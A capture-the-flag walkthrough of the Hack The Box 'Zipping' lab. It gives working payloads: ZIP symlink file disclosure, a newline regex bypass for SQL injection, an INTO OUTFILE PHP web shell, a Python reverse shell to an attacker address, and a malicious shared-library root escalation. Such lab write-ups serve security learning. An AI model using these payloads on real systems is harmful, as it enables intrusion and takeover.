This is my write-up for the Zipping machine on Hack The Box platform.

Part one: User

Reconnaissance

Begin with a nmap scan to find open ports.

command:
-Pn for skipping Host Discovery
-sS for TCP Sync Scan used to make the scanning faster and stealthier.

sudo nmap -Pn -sS 10.10.11.229
[sudo] password for dudisam:
Starting Nmap 7.94 ( https://nmap.org ) at 2023-09-07 23:43 IDT
Nmap scan report for 10.10.11.229
Host is up (0.077s latency).co
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 2.26 seconds
  • port 22 (ssh) — Probably will be used in post-exploitation.
  • port 80 (http)—indicates serving a website.

Running feroxbuster to search for interesting pages:

I found an interesting page /upload.php that might be a good vector for initial access by exploiting the file upload functionality.

Files disclosure

Visiting the /upload.php page: It seems like the website only validates ZIP files, which contain PDF files inside.
I searched for any related vulnerabilities and found Symlink.

A symlink (also called a symbolic link) is a type of file in Linux that points to another file or a folder on your computer. Symlinks are similar to shortcuts in Windows

After extracting the ZIP file, an adversary can access the symbolic link and get access to sensitive files.

Creating the ZIP archive with Symlink:

  1. Creating a symlink to a PDF file called shop_index.pdf that points to the web application source code file called index.php :
ln -s /var/www/html/shop/index.php shop_index.pdf
  1. Creating the Zip with symlink:
zip --symlinks shop_index.zip shop_index.pdf

Uploading the zip archive: It Worked!

I got shop/index.php source code:

There’s LFI, but I couldn’t find a way to upload PHP using the upload and exploit it for RCE.

GET /shop/index.php?page=<php files path goes here>

Note that before the machine was patched it was possible to upload a malicious PHP file using a null byte.

After searching for anything valuable in the source code, I eventually found something interesting on the product.php page.

Creating the ZIP archive with Symlink:

ln -s /var/www/html/shop/product.php shop_product.pdf
zip --symlinks shop_product.zip shop_product.pdf

GET Request to the Symlink File:

Blind SQL Injection

After interviewing this source code, I found a SQL injection vulnerability:

...
...
...
     $id = $_GET['id'];
    // Filtering user input for letters or special characters
    if(preg_match("/^.*[A-Za-z!#$%^&*()\-_=+{}\[\]\\|;:'\",.<>\/?]|[^0-9]$/", $id, $match)) {
        header('Location: index.php');
    } else {
        // Prepare statement and execute, but does not prevent SQL injection
        $stmt = $pdo->prepare("SELECT * FROM products WHERE id = '$id'");
        $stmt->execute();
...
...
...

Although a prepared statement is used, the id argument are hardcoded and not parametrized.

Regex Bypass

In order to exploit the SQL injection, it is necessary to find a way to bypass regex validation.

preg_match("/^.*[A-Za-z!#$%^&*()\-_=+{}\[\]\\|;:'\",.<>\/?]|[^0-9]$/", $id, $match)

[A-Za-z!#$%^&*()\-_=+{}\[\]\\|;:'\",.<>\/?] Any uppercase letter, lowercase letter, or any of the specified special characters.
OR
[^0-9]Any character that is not a digit.

In short, the regex detects if the $id variable contains any character that is not a digit.

However, there is a problem:
.* By using a dot here, it matches every character except for a new line.

Therefore, I created this payload to indicate the injection worked:

shop/index.php?page=product&id=1
';select sleep(5);#1

URL-Encoded it and made a GET Request:

GET /shop/index.php?page=product&id=1%0A';select+sleep(5);%231

%23 is the URL-encoding of the symbol # that used to comment out the rest of the SQL query.
%0A is the URL-encoding of a newline that used to bypass the regex.

After sending the request, I looked at the response time and indeed had a 5-second delay, which means the injection worked well.

SQL Injection to RCE

Recall, I found a LFI of PHP files earlier .

So my attacking path would be to create a PHP file and leverage the LFI to RCE.

SQL queries can be written into files using SELECT INTO OUTFILE:

SELECT INTO OUTFILE writes the resulting rows to a file, and allows the use of column and row terminators to specify a particular output format. The default is to terminate fields with tabs (\t) and lines with newlines (\n).

This query creates the malicious PHP file in the**/var/lib/mysql** directory:

select "<?php echo system($_GET['cmd']);?>" into outfile '/var/lib/mysql/shell.php';

I’ve concatenated sleep to this payload to get successful feedback:

GET /shop/index.php?page=product&id=1%0A';select+"<?php+echo+system($_GET['cmd']);?>"+into+outfile+'/var/lib/mysql/shell.php';select+sleep(5);%231

The web shell is working using the LFI:

GET /shop/index.php?page=/var/lib/mysql/shell&cmd=ls

Reverse Shell

Used the RCE to create a reverse shell:

Started a listener using netcat:

Checking if the target has Python installed:

Generated a reverse shell URL-encoded payload using Reverse Shell Generator:

The GET Request with the payload:

GET /shop/index.php?page=/var/lib/mysql/shell&cmd=python3%20-c%20%27import%20socket%2Csubprocess%2Cos%3Bs%3Dsocket.socket%28socket.AF_INET%2Csocket.SOCK_STREAM%29%3Bs.connect%28%28%2210.10.15.122%22%2C9001%29%29%3Bos.dup2%28s.fileno%28%29%2C0%29%3B%20os.dup2%28s.fileno%28%29%2C1%29%3Bos.dup2%28s.fileno%28%29%2C2%29%3Bimport%20pty%3B%20pty.spawn%28%22%2Fbin%2Fbash%22%29%27

Getting back to the listener:

Got Shell!

Full TTY:

CTRL + Z
stty raw-echo; fg
enter
export TERM=xterm-256color; stty rows 30 columns 126; reset;

I found the user flag:

Owned user!

Part two: Root

Reconnaissance

After enumerating basic information, I found our user can run usr/bin/stock binary as root.

After trying to run the binary using sudo it asked for password input.

Finding the pass

Listed the readable strings of the binary using strings :

Fortunately, the password was hardcoded: St0ckM4nager

Privesc using Shared Library

After researching the binary functionality, I didn’t find anything useful.
So I tried to reverse engineer it.

Using strace I found that the program calls a shared library that does not exist — /home/rektsu/.config/libcounter.so

Shared Libraries are loaded by the executable (or other shared library) at runtime.

I had permissions to create new files in this directory, so I created a malicious shared library that will be executed with root privileges.

exploit.c

#include <stdio.h>
#include <stdlib.h>

static void main() __attribute__((constructor));

void main(){
    system("/bin/bash -p");
}

Compiling exploit.c into /home/rektsu/.config/libcounter.so

gcc -shared -fPIC exploit.c -o /home/rektsu/.config/libcounter.so

Running the the binary with sudo and getting a root shell

After that, I just navigated to the root folder and grabbed the root flag.

Thanks for reading :)

References